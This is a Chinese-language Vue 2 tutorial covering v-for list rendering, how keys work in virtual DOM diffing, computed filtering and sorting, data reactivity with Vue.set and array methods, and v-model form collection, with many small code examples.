vue基础知识和原理(二)
1.13 列表渲染
v-for指令
-
用于展示列表数据
-
语法:v-for="(item, index) in xxx" :key="yyy"
-
可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
<div id="root"> <!-- v-for指令: 1.用于展示列表数据 2.语法:v-for="(item, index) in xxx" :key="yyy" 3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少) --> <h2>人员列表</h2> <ul> <!--遍历数组--> <!--循环列表的方法 类似与for in循环遍历--> <!--:代表v-bind 属性key让每一个li有了唯一的标识,key一定不要重复--> <!--v-for(for in// for of)可以接受到两个参数,一个是当前的元素另一个是当前元素的索引 类似于下面的person,index--> <li v-for='(person, index) in persons' :key="index"> <!--p可能来自形参,也可能来自于写在data里的属性,更可能来自于计算属性 computed--> {{person.name}} - {{ person.age }} </li> </ul> <!--遍历对象--> <h2>汽车信息</h2> <!--注意遍历对象的时候先收到的是每一项的属性的value,第二项是对应的键名:key--> <ul v-for="(val, key) of car" :key="key"> <li>{{ key }} -- {{ val }}</li> </ul> <!--遍历字符串 用的不多--> <h2>测试遍历字符串</h2> <!--注意遍历字符串的时候先收到的是字符串中每一个字符,第二项是其对应的索引index--> <ul v-for="(c, index) of str" :key="index"> <li>{{ index }} -- {{ c }}</li> </ul> <!--遍历指定次数--> <h2>遍历指定次数</h2> <!--注意遍历指定次数的时候先收到的是number(例如5,则number是1,2,3,4,5),第二项是对应index(从0开始计数,则是0,1,2,3,4)--> <ul v-for="(num, index) in 5" :key="index"> <li>{{ index }} -- {{ num }}</li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false; new Vue({ el: '#root', data: { //数组 persons: [ {id: '001', name: '张三', age: 18}, {id: '002', name: '李四', age: 19}, {id: '003', name: '王五', age: 20} ], car: { name: '奥迪a8', price: '70w', color: '黑色' }, str: 'hello' } }) </script>
key的原理
vue中的key有什么作用?(key的内部原理)
了解vue中key的原理需要一些前置知识。
就是vue的虚拟dom,vue会根据 data中的数据生成虚拟dom,如果是第一次生成页面,就将虚拟dom转成真实dom,在页面展示出来。
虚拟dom有啥用?
每次vm._data 中的数据更改,都会触发生成新的虚拟dom,新的虚拟dom会跟旧的虚拟dom进行比较,如果有相同的,在生成真实dom时,
这部分相同的就不需要重新生成,只需要将两者之间不同的dom转换成真实dom,再与原来的真实dom进行拼接。
我的理解是虚拟dom就是起到了一个dom复用的作用,还有避免重复多余的操作,下文有详细解释。
而key有啥用?
key是虚拟dom的标识。
先来点预备的知识:啥是真实 DOM?真实 DOM 和 虚拟 DOM 有啥区别?如何用代码展现真实 DOM 和 虚拟 DOM
真实DOM和其解析流程
这里参考超级英雄大佬:https://juejin.cn/post/6844903895467032589
webkit 渲染引擎工作流程图

中文版

-
第一步,构建 DOM 树:当浏览器接收到来自服务器响应的HTML文档后,会遍历文档节点,生成DOM树。需要注意的是在DOM树生成的过程中有可能会被CSS和JS的加载执行阻塞,渲染阻塞下面会讲到。
-
第二步,生成样式表:用 CSS 分析器,分析 CSS 文件和元素上的 inline 样式,生成页面的样式表;
-
渲染阻塞:当浏览器遇到一个script标签时,DOM构建将暂停,直到脚本加载执行,然后继续构建DOM树。每次去执行Javascript脚本都会严重阻塞DOM树构建,如果JavaScript脚本还操作了CSSOM,而正好这个CSSOM没有下载和构建,那么浏览器甚至会延迟脚本执行和构建DOM,直到这个CSSOM的下载和构建。所以,script标签引入很重要,实际使用时可以遵循下面两个原则:
-
css优先:引入顺序上,css资源先于js资源
-
js后置:js代码放在底部,且js应尽量少影响DOM构建
还有一个小知识:当解析html时,会把新来的元素插入dom树里,同时去查找css,然后把对应的样式规则应用到元素上,查找样式表是按照从右到左的顺序匹配的例如:div p {...},会先寻找所有p标签并判断它的父标签是否为div之后才决定要不要采用这个样式渲染。所以平时写css尽量用class或者id,不要过度层叠
-
-
第三步,构建渲染树:通过DOM树和CSS规则我们可以构建渲染树。浏览器会从DOM树根节点开始遍历每个可见节点(注意是可见节点)对每个可见节点,找到其适配的CSS规则并应用。渲染树构建完后,每个节点都是可见节点并且都含有其内容和对应的规则的样式。这也是渲染树和DOM树最大的区别所在。渲染是用于显示,那些不可见的元素就不会在这棵树出现了。除此以外,display none的元素也不会被显示在这棵树里。visibility hidden的元素会出现在这棵树里。
-
第四步,渲染布局:布局阶段会从渲染树的根节点开始遍历,然后确定每个节点对象在页面上的确切大小与位置,布局阶段的输出是一个盒子模型,它会精确地捕获每个元素在屏幕内的确切位置与大小。
-
第五步,渲染树绘制:在绘制阶段,遍历渲染树,调用渲染器的paint()方法在屏幕上显示其内容。渲染树的绘制工作是由浏览器的UI后端组件完成的。
注意点:
1、DOM 树的构建是文档加载完成开始的? 构建 DOM 树是一个渐进过程,为达到更好的用户体验,渲染引擎会尽快将内容显示在屏幕上,它不必等到整个 HTML 文档解析完成之后才开始构建 render 树和布局。
2、Render 树是 DOM 树和 CSS 样式表构建完毕后才开始构建的?
3、CSS 的解析注意点? CSS 的解析是从右往左逆向解析的,嵌套标签越多,解析越慢。
4、JS 操作真实 DOM 的代价?传统DOM结构操作方式对性能的影响很大,原因是频繁操作DOM结构操作会引起页面的重排(reflow)和重绘(repaint),浏览器不得不频繁地计算布局,重新排列和绘制页面元素,导致浏览器产生巨大的性能开销。直接操作真实DOM的性能特别差,我们可以来演示一遍。
<div id="app"></div> <script> // 获取 DIV 元素 let box = document.querySelector('#app'); console.log(box); // 真实 DOM 操作 console.time('a'); for (let i = 0; i <= 10000; i++) { box.innerHTML = i; } console.timeEnd('a'); // 虚拟 DOM 操作 let num = 0; console.time('b'); for (let i = 0; i <= 10000; i++) { num = i; } box.innerHTML = num; console.timeEnd('b'); </script>

从结果中可以看出,操作真实 DOM 的性能是非常差的,所以我们要尽可能的复用,减少 DOM 操作。
虚拟 DOM 的好处
虚拟 DOM
虽然这一个虚拟 DOM 带来的一个优势,但并不是全部。虚拟 DOM 最大的优势在于抽象了原本的渲染过程,实现了跨平台的能力,而不仅仅局限于浏览器的 DOM,可以是安卓和 IOS 的原生组件,可以是近期很火热的小程序,也可以是各种GUI。
回到最开始的问题,虚拟 DOM 到底是什么,说简单点,就是一个普通的 JavaScript 对象,包含了 tag、props、children 三个属性。
接下来我们手动实现下 虚拟 DOM。
分两种实现方式:
一种原生 js DOM 操作实现;
另一种主流虚拟 DOM 库(snabbdom、virtual-dom)的实现(用h函数渲染)(暂时还不理解)
算法实现
(1)用 JS 对象模拟 DOM 树:
<div id="virtual-dom"> <p>Virtual DOM</p> <ul id="list"> <li class="item">Item 1</li> <li class="item">Item 2</li> <li class="item">Item 3</li> </ul> <div>Hello World</div> </div>
我们用 JavaScript 对象来表示 DOM
/** * Element virdual-dom 对象定义 * @param {String} tagName - dom 元素名称 * @param {Object} props - dom 属性 * @param {Array<Element|String>} - 子节点 */ function Element(tagName, props, children) { this.tagName = tagName; this.props = props; this.children = children; // dom 元素的 key 值,用作唯一标识符 if (props.key) { this.key = props.key } } function el(tagName, props, children) { return new Element(tagName, props, children); }
构建虚拟的 DOM
let ul = el('div', { id: 'Virtual DOM' }, [
el('p', {}, ['Virtual DOM']),
el('ul', { id: 'list' }, [
el('li', { class: 'item' }, ['Item 1']),
el('li', { class: 'item' }, ['Item 2']),
el('li', { class: 'item' }, ['Item 3'])
]),
el('div', {}, ['Hello, World'])
])

/** * render 将virdual-dom 对象渲染为实际 DOM 元素 */ Element.prototype.render = function () { // 创建节点 let el = document.createElement(this.tagName); let props = this.props; // 设置节点的 DOM 属性 for (let propName in props) { let propValue = props[propName]; el.setAttribute(propName, propValue) } let children = this.children || [] for (let child of children) { let childEl = (child instanceof Element) ? child.render() // 如果子节点也是虚拟 DOM, 递归构建 DOM 节点 : document.createTextNode(child) // 如果是文本,就构建文本节点 el.appendChild(childEl); } return el; }
我们通过查看以上 render 方法,会根据 tagName 构建一个真正的 DOM 节点,然后设置这个节点的属性,最后递归地把自己的子节点也构建起来。
我们将构建好的 DOM 结构添加到页面 body 上面,如下:
let ulRoot = ul.render();
document.body.appendChild(ulRoot);

<script>
/**
* Element virdual-dom 对象定义
* @param {String} tagName - dom 元素名称
* @param {Object} props - dom 属性
* @param {Array<Element|String>} - 子节点
*/
function Element(tagName, props, children) {
this.tagName = tagName;
this.props = props;
this.children = children;
// dom 元素的 key 值,用作唯一标识符
if (props.key) {
this.key = props.key
}
}
function el(tagName, props, children) {
return new Element(tagName, props, children);
}
let ul = el('div', { id: 'Virtual DOM' }, [
el('p', {}, ['Virtual DOM']),
el('ul', { id: 'list' }, [
el('li', { class: 'item' }, ['Item 1']),
el('li', { class: 'item' }, ['Item 2']),
el('li', { class: 'item' }, ['Item 3'])
]),
el('div', {}, ['Hello, World'])
])
/**
* render 将virdual-dom 对象渲染为实际 DOM 元素
*/
Element.prototype.render = function () {
// 创建节点
let el = document.createElement(this.tagName);
let props = this.props;
// 设置节点的 DOM 属性
for (let propName in props) {
let propValue = props[propName];
el.setAttribute(propName, propValue)
}
let children = this.children || []
for (let child of children) {
let childEl = (child instanceof Element)
? child.render() // 如果子节点也是虚拟 DOM, 递归构建 DOM 节点
: document.createTextNode(child) // 如果是文本,就构建文本节点
el.appendChild(childEl);
}
return el;
}
let ulRoot = ul.render();
document.body.appendChild(ulRoot);
console.log(ul);
</script>
key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下(diff算法):
-
旧虚拟DOM中找到了与新虚拟DOM相同的key:
-
①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
-
②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
-
-
旧虚拟DOM中未找到与新虚拟DOM相同的key
-
创建新的真实DOM,随后渲染到到页面。
-
好了,我们知道了最简单的key的原理,如果要继续研究下去就要涉及到vue的核心之一-Diff算法,后面会详细介绍。
用index作为key可能会引发的问题:
若对数据进行:逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
<div id="root">
<!--
面试题:react、vue中的key有什么作用?(key的内部原理)
1. 虚拟DOM中key的作用:
key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,
随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
2.对比规则:
(1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
(2).旧虚拟DOM中未找到与新虚拟DOM相同的key
创建新的真实DOM,随后渲染到到页面。
3. 用index作为key可能会引发的问题:
1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
2. 如果结构中还包含输入类的DOM:
会产生错误DOM更新 ==> 界面有问题。
4. 开发中如何选择key?:
1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
使用index作为key是没有问题的。
-->
<h2>人员列表</h2>
<button @click.once="add">添加一个老刘</button>
<ul>
<!--key唯一标识: 身份证,属性key是被vue给征用的,并不反应在真实dom上-->
<li v-for='(person, index) in persons' :key="person.id">
{{person.name}} - {{ person.age }}
<!--为了看到key值的不正确滥用所导致的问题,我们添加一个input框-->
<input type="text" />
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: '#root',
data: {
//数组
persons: [
{id: '001', name: '张三', age: 18},
{id: '002', name: '李四', age: 19},
{id: '003', name: '王五', age: 20}
],
},
methods:{
add(){
//往数组的头添加元素
this.persons.unshift({
id:'004',
name:'老刘',
age: 40
})
}
}
})
</script>
解释:
初始数据
persons: [ { id: '001', name: '张三', age: 18 },
{ id: '002', name: '李四', age: 19 },
{ id: '003', name: '王五', age: 20 }
vue根据数据生成虚拟 DOM
初始虚拟 DOM
<li key='0'>张三-18<input type="text"></li> <li key='1'>李四-19<input type="text"></li> <li key='2'>王五-20<input type="text"></li>

`this.persons.unshift({ id: '004', name: '老刘', age: 40 })`
在 persons 数组最前面添加上 { id: '004', name: '老刘', age: 40 }
新数据:
persons: [
{ id: '004', name: '老刘', age: 40 },
{ id: '001', name: '张三', age: 18 },
{ id: '002', name: '李四', age: 19 },
{ id: '003', name: '王五', age: 20 }
]
vue根据数据生成虚拟 DOM
新虚拟 DOM
<li key='0'>老刘-30<input type="text"></li> <li key='1'>张三-18<input type="text"></li> <li key='3'>李四-19<input type="text"></li> <li key='4'>王五-20<input type="text"></li>

因为老刘被插到第一个,重刷了 key 的值,vue Diff 算法 根据 key 的值 判断 虚拟DOM 全部发生了改变,然后全部重新生成新的 真实 DOM。实际上,张三,李四,王五并没有发生更改,是可以直接复用之前的真实 DOM,而因为 key 的错乱,导致要全部重新生成,造成了性能的浪费。
来张尚硅谷的图

如果结构中还包含输入类的DOM:
会产生错误DOM更新 ==> 界面有问题。
这回造成的就不是性能浪费了,会直接导致页面的错误

结论:
-
最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值
-
如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的
来张尚硅谷的图,正经使用 key

<body>
<div id="root">
<h2>人员列表</h2>
<!--v-model双向绑定-->
<input type="text" placeholder="请输入名字" v-model="keyword" />
<ul v-for="p in filPersons" :key="p.id">
<li>{{p.name}}-{{ p.age }}- {{ p.sex }}</li>
</ul>
</div>
<script type="text/javascript">
//用监视属性书写功能
// new Vue({
// el: '#root',
// data: {
// keyword: '',
// persons: [
// { id: "001", name: '周冬雨', age: 20, sex: '女' },
// { id: "002", name: '马冬梅', age: 19, sex: '女' },
// { id: "003", name: '周杰伦', age: 21, sex: '男' },
// { id: "004", name: '温兆伦', age: 22, sex: '男' },
// ],
// filPersons: []
// },
// //watch监听用户输入项keyword的变化
// watch: {
// keyword: {
// immediate: true, //上来就进行监视获得到的newV是'',空字符串
// handler(newV) {
// // console.log(newV)
// //不要修改元数据,这样只会越写越少
// //注意一个某个字符串.indexOf('')是0而不是-1(都包含空字符串)
// this.filPersons = this.persons.filter(p => p.name.indexOf(newV) !== -1);
// }
// }
// }
// })
//用计算属性书写功能
//当computed和watch都可以实现基本功能时优先考虑computed (重要)
new Vue({
el: '#root',
data: {
keyword: '',
persons: [
{ id: "001", name: '周冬雨', age: 20, sex: '女' },
{ id: "002", name: '马冬梅', age: 19, sex: '女' },
{ id: "003", name: '周杰伦', age: 21, sex: '男' },
{ id: "004", name: '温兆伦', age: 22, sex: '男' },
],
},
computed: {
filPersons() {
// 用到了字符串的方法indexOf
return this.persons.filter(p => p.name.indexOf(this.keyword) !== -1);
}
}
})
</script>
</body>
<body>
<div id="root">
<h2>人员列表</h2>
<!--v-model双向绑定-->
<input type="text" placeholder="请输入名字" v-model="keyword" />
<button @click="sortType = 2">年龄升序</button>
<button @click="sortType = 1">年龄降序</button>
<button @click="sortType = 0">原顺序</button>
<ul v-for="p in filPersons" :key="p.id">
<li>{{p.name}}-{{ p.age }}- {{ p.sex }}</li>
</ul>
</div>
<script type="text/javascript">
new Vue({
el: '#root',
data: {
keyword: '',
sortType: 0, //0代表原顺序 1代表降序 2代表升序
persons: [
{ id: "001", name: '周冬雨', age: 20, sex: '女' },
{ id: "002", name: '马冬梅', age: 19, sex: '女' },
{ id: "003", name: '周杰伦', age: 21, sex: '男' },
{ id: "004", name: '温兆伦', age: 22, sex: '男' },
],
},
computed: {
filPersons() {
const arr = this.persons.filter(p => p.name.indexOf(this.keyword) !== -1);
//判断是否需要排序
if (!this.sortType) return arr;
//sort回调回收到前后两个数据项,a和b
//sort会改变的原数组,三元表达式
return arr.sort((p1, p2) => this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age);
}
}
});
</script>
</body>
1.14 vue监测data中的数据
先来个案例引入一下:
<div id="root">
<h2>人员列表</h2>
<!--v-model双向绑定-->
<button @click="updateM">更新马冬梅信息</button>
<ul v-for="p in persons" :key="p.id">
<li>{{p.name}}-{{ p.age }}- {{ p.sex }}</li>
</ul>
</div>
<script type="text/javascript">
const vm = new Vue({
el:'#root',
data: {
persons: [
{id: "001", name:'周冬雨', age:20, sex:'女'},
{id: "002", name:'马冬梅', age:19, sex:'女'},
{id: "003", name:'周杰伦', age:21, sex:'男'},
{id: "004", name:'温兆伦', age:22, sex: '男'},
],
},
methods:{
updateM(){
// this.persons[1].name = '马老师'; //奏效
// this.persons[1].age = 50; //奏效
// this.persons[1].sex = '男'; //奏效
// this.persons[1] = { id: '002', name: '马老师', age: 50, sex:'男' }; //这样修改vue是无法监测数据的
this.persons.splice(1,1,{ id: '002', name: '马老师', age: 50, sex:'男' });
}
}
});
</script>
点击更新马冬梅的信息,马冬梅的数据并没有发生改变。

我们来看看控制台:

控制台上的数据发生了改变,说明,这个更改的数据并没有被 vue 监测到。
所以我们来研究一下 Vue 监测的原理。
我们先研究 Vue 如何监测 对象里的数据
代码
<!-- 准备好一个容器--> <!-- 2. 如何监测对象中的数据? 通过setter实现监视,且要在new Vue时就传入要监测的数据。 (1).对象中后追加的属性,Vue默认不做响应式处理 (2).如需给后添加的属性做响应式,请使用如下API: Vue.set(target,propertyName/index,value) 或 vm.$set(target,propertyName/index,value) --> <div id="root"> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> </div> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ name:'浙江师范大学', address:'金华', student:{ name:'tom', age:{ rAge:40, sAge:29, }, friends:[ {name:'jerry',age:35} ] } } }) </script>

模拟一下 vue 中的数据监测_对象
<script type="text/javascript"> let data = { name: "武汉科技大学", address: '武汉' } //无限递归 调用栈炸了 内存溢出 //错误写法 // Object.defineProperty(data, 'name', { // get(){ // return data.name // }, // set(val){ // data.name = val; // } // }) //创建一个监视实例对象 const obs = new Observer(data); //准备一个vm实例 let vm = { }; vm._data = data = obs; //观察者 function Observer(obj){ //缺陷:未实现递归(对象嵌套对象就会出现问题) const keys = Object.keys(obj); //遍历对象当中所有的key keys.forEach(key => { Object.defineProperty(this, key, { get(){ return obj[key] }, set(v) { console.log(`${key}的值改变了,变为${v}`); obj[key] = v; } }) }); }

Vue.set 的使用
Vue.set(target,propertyName/index,value) 或
vm.$set(target,propertyName/index,value)
用法:
向响应式对象中添加一个 property,并确保这个新 property 同样是响应式的,且触发视图更新。它必须用于向响应式对象上添加新 property,因为 Vue 无法探测普通的新增 property (比如 vm.myObject.newProperty = 'hi')
代码
<div id="root">
<h1>学校信息</h1>
<h2>学校名称:{{ name }}</h2>
<h2>学校地址:{{ address }}</h2>
<hr/>
<h1>学生信息</h1>
<button @click.once="addSex">添加一个性别属性,默认值是男</button>
<h2>学生姓名:{{ stu.name }}</h2>
<h2>学生真实年龄:{{ stu.age.rage }}</h2>
<h2>学生对外年龄:{{ stu.age.sage}}</h2>
<h2 v-if="stu.sex">学生性别: {{ stu.sex }}</h2>
<h2>朋友们</h2>
<ul v-for="(f, index) in stu.friends" :key="index">
<li>{{ f.name }} -- {{ f.age }}</li>
</ul>
</div>
<script type="text/javascript">
const vm = new Vue({
el: '#root',
data:{
name: '武汉科技大学',
address: '武汉',
stu:{
name: 'tom',
age:{
rage: 12,
sage: 29
},
friends: [
{ name: 'Jerry', age: 23 },
{ name: 'Jane', age: 18 }
]
}
},
methods:{
addSex(){
//这里this === vm
//利用vue.set(或者vm.$set())api能够添加的属性变为响应式属性
//注意对象不能是 Vue 实例,或者 Vue 实例的根数据对象。
Vue.set(this.stu, 'sex', '男')
// this.$set(this.stu, 'sex', '男');
}
}
})
</script>
Vue.set() 或 vm.$set 有缺陷:

看完了 vue 监测对象中的数据,再来看看 vue 如何监测数组里的数据
vue监测数据改变的原理_数组
先写个代码案例
<body> <!-- 通过包裹数组更新元素的方法实现,本质就是做了两件事: (1).调用原生对应的方法对数组进行更新。 (2).重新解析模板,进而更新页面。 在Vue修改数组中的某个元素一定要用如下方法: 1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse() 2.Vue.set() 或 vm.$set() --> <div id="root"> <h1>学校信息</h1> <h2>学校名称:{{ name }}</h2> <h2>学校地址:{{ address }}</h2> <hr /> <h1>学生信息</h1> <button @click.once="addSex">添加一个性别属性,默认值是男</button> <h2>学生姓名:{{ stu.name }}</h2> <h2>学生真实年龄:{{ stu.age.rage }}</h2> <h2>学生对外年龄:{{ stu.age.sage}}</h2> <h2 v-if="stu.sex">学生性别: {{ stu.sex }}</h2> <h2>朋友们</h2> <ul v-for="(f, index) in stu.friends" :key="index"> <li>{{ f.name }} -- {{ f.age }}</li> </ul> <h2>爱好</h2> <!-- Vue 将被侦听的数组的变更方法进行了包裹,所以它们也将会触发视图更新。这些被包裹过的方法包括: push() pop() shift() unshift() splice() sort() reverse() --> <ul v-for="(h, index) in stu.hobbies" :key="index"> <li>{{ h }}</li> </ul> </div> <script type="text/javascript"> const vm = new Vue({ el: '#root', data: { name: '武汉科技大学', address: '武汉', stu: { name: 'tom', age: { rage: 12, sage: 29 }, hobbies: ['抽烟', '喝酒', '烫头'], friends: [ { name: 'Jerry', age: 23 }, { name: 'Jane', age: 18 } ] } }, methods: { addSex() { //这里this === vm //利用vue.set(或者vm.$set())api能够添加的属性变为响应式属性 //注意对象不能是 Vue 实例,或者 Vue 实例的根数据对象。 Vue.set(this.stu, 'sex', '男') // this.$set(this.stu, 'sex', '男'); }, } }) </script> </body>


既然 vue 在对数组无法通过 getter 和 setter 进行数据监视,那 vue 到底如何监视数组数据的变化呢?
vue对数组的监测是通过 包装数组上常用的用于修改数组的方法来实现的。
vue官网的解释:

总结:
Vue监视数据的原理:
-
vue会监视data中所有层次的数据
-
如何监测对象中的数据?
通过setter实现监视,且要在new Vue时就传入要监测的数据。
-
对象中后追加的属性,Vue默认不做响应式处理
-
如需给后添加的属性做响应式,请使用如下API:
Vue.set(target,propertyName/index,value) 或
vm.$set(target,propertyName/index,value)
-
-
如何监测数组中的数据?
通过包裹数组更新元素的方法实现,本质就是做了两件事:
-
调用原生对应的方法对数组进行更新
-
重新解析模板,进而更新页面
-
-
在Vue修改数组中的某个元素一定要用如下方法:
-
使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
-
Vue.set() 或 vm.$set()
-
特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
<body> <div id="root"> <!-- Vue监视数据的原理: 1. vue会监视data中所有层次的数据。 2. 如何监测对象中的数据? 通过setter实现监视,且要在new Vue时就传入要监测的数据。 (1).对象中后追加的属性,Vue默认不做响应式处理 (2).如需给后添加的属性做响应式,请使用如下API: Vue.set(target,propertyName/index,value) 或 vm.$set(target,propertyName/index,value) 3. 如何监测数组中的数据? 通过包裹数组更新元素的方法实现,本质就是做了两件事: (1).调用原生对应的方法对数组进行更新。 (2).重新解析模板,进而更新页面。 4.在Vue修改数组中的某个元素一定要用如下方法: 1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse() 2.Vue.set() 或 vm.$set() 特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!! 注: 数据劫持可以理解成为vue对你写在data的数据会进行加工,让它们都变成响应式的 --> <h1>学生信息</h1> <button @click="student.age++">年龄+1岁</button> <br/> <button @click="addSex">添加性别属性,默认值:男</button> <br/> <button @click="student.sex = '未知' ">修改性别</button> <br/> <button @click="addFriend">在列表首位添加一个朋友</button> <br/> <button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button> <br/> <button @click="addHobby">添加一个爱好</button> <br/> <button @click="updateHobby">修改第一个爱好为:开车</button> <br/> <button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/> <h3>姓名:{{student.name}}</h3> <h3>年龄:{{student.age}}</h3> <h3 v-if="student.sex">性别:{{student.sex}}</h3> <h3>爱好:</h3> <ul> <li v-for="(h,index) in student.hobby" :key="index"> {{h}} </li> </ul> <h3>朋友们:</h3> <ul> <li v-for="(f,index) in student.friends" :key="index"> {{f.name}}--{{f.age}} </li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false; const vm = new Vue({ el: '#root', data:{ student:{ name:'tom', age:18, hobby:['抽烟','喝酒','烫头'], friends:[ {name:'jerry',age:35}, {name:'tony',age:36} ] } }, methods:{ addSex(){ this.$set(this.student, 'sex', '男'); }, addFriend(){ this.student.friends.unshift({ name:'jack', age:70, }) }, updateFirstFriendName(){ this.student.friends[0].name = '张三' }, addHobby(){ this.student.hobby.push('学习'); }, updateHobby(){ // this.student.hobby.splice(0,1,'开车'); this.$set(this.student.hobby, 0, '开车'); }, removeSmoke(){ //直接替换 this.student.hobby = this.student.hobby.filter(h => h !== '抽烟'); } } }); </script> </body>
1.15 收集表单数据
若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
<!-- 准备好一个容器--> <div id="root"> <form @submit.prevent="demo"> 账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/> 密码:<input type="password" v-model="userInfo.password"> <br/><br/> 年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/> <button>提交</button> </form> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ userInfo:{ account:'', password:'', age:18, } }, methods: { demo(){ console.log(JSON.stringify(this.userInfo)) } } }) </script>
<!-- 准备好一个容器--> <div id="root"> <form @submit.prevent="demo"> 性别: 男<input type="radio" name="sex" v-model="userInfo.sex" value="male"> 女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> </form> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ userInfo:{ sex:'female' } }, methods: { demo(){ console.log(JSON.stringify(this.userInfo)) } } }) </script>
若:<input type="checkbox"/>
-
没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
-
配置input的value属性:
-
v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
-
v-model的初始值是数组,那么收集的的就是value组成的数组
-
<!-- 准备好一个容器--> <div id="root"> <form @submit.prevent="demo"> 爱好: 学习<input type="checkbox" v-model="userInfo.hobby" value="study"> 打游戏<input type="checkbox" v-model="userInfo.hobby" value="game"> 吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"> <br/><br/> 所属校区 <select v-model="userInfo.city"> <option value="">请选择校区</option> <option value="beijing">北京</option> <option value="shanghai">上海</option> <option value="shenzhen">深圳</option> <option value="wuhan">武汉</option> </select> <br/><br/> 其他信息: <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/> <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a> <button>提交</button> </form> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ userInfo:{ hobby:[], city:'beijing', other:'', agree:'' } }, methods: { demo(){ console.log(JSON.stringify(this.userInfo)) } } }) </script>

备注:v-model的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
总结
<body> <div id="root"> <!-- 收集表单数据: 若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。 若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。 若:<input type="checkbox"/> 1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值) 2.配置input的value属性: (1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值) (2)v-model的初始值是数组,那么收集的的就是value组成的数组 备注:v-model的三个修饰符: lazy:失去焦点再收集数据 number:输入字符串转为有效的数字 trim:输入首尾空格过滤 --> <form @submit.prevent="demo"> <!--写了label则点击它也能使指定的input获取焦点 for属性的值为指定元素的id--> <label for="demo">账号:</label> <!--v-model主要用来双向绑定输入类表单value值--> <!-- .trim去掉空格 --> <input type="text" id="demo" v-model.trim="userInfo.account" /> <br /> 密码: <input type="password" v-model="userInfo.password" /> <br /> 性别: <!--一组radio单选框的name值一定要相同 设置value值好让v-model去双向绑定--> 男:<input type="radio" v-model="userInfo.sex" name="sex" value="male" /> 女:<input type="radio" v-model="userInfo.sex" name="sex" value="female" /> <br /> <!-- 第一个number是input框强制只能输入数字,v-model.number是vue后台接受数字 --> 年龄: <input type="number" v-model.number="userInfo.age" /> <br /> 爱好: <!--如果没有value值则v-model收集checked元素--> 学习 <input v-model="userInfo.hobby" type="checkbox" value="study" /> 打游戏 <input v-model="userInfo.hobby" type="checkbox" value="game" /> 吃饭 <input v-model="userInfo.hobby" type="checkbox" value="eat" /> <br /> 所属校区 <select v-model="userInfo.city"> <option value="">请选择校区</option> <option value="Beijing">北京</option> <option value="Shanghai">上海</option> <option value="Shenzhen">深圳</option> <option value="Wuhan">武汉</option> </select> <br /> <!-- .lazy是失去焦点是,vue接受input框内的数据 --> 其他信息<textarea v-model.lazy="userInfo.other"></textarea> <br /> <input type="checkbox" v-model="userInfo.ifAgree" />阅读并接受<a href="https://www.google.com.tw">《用户协议》</a> <button>提交数据</button> </form> </div> <script type="text/javascript"> Vue.config.productionTip = false; const vm = new Vue({ el: '#root', data: { userInfo: { account: '', password: '', sex: 'male', age: '', hobby: [], city: '', other: '', ifAgree: '' } }, methods: { demo() { //json转换为string console.log(JSON.stringify(this.userInfo)); } } }) </script> </body>
1.16 过滤器(非重点)
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
语法:
-
注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
-
使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
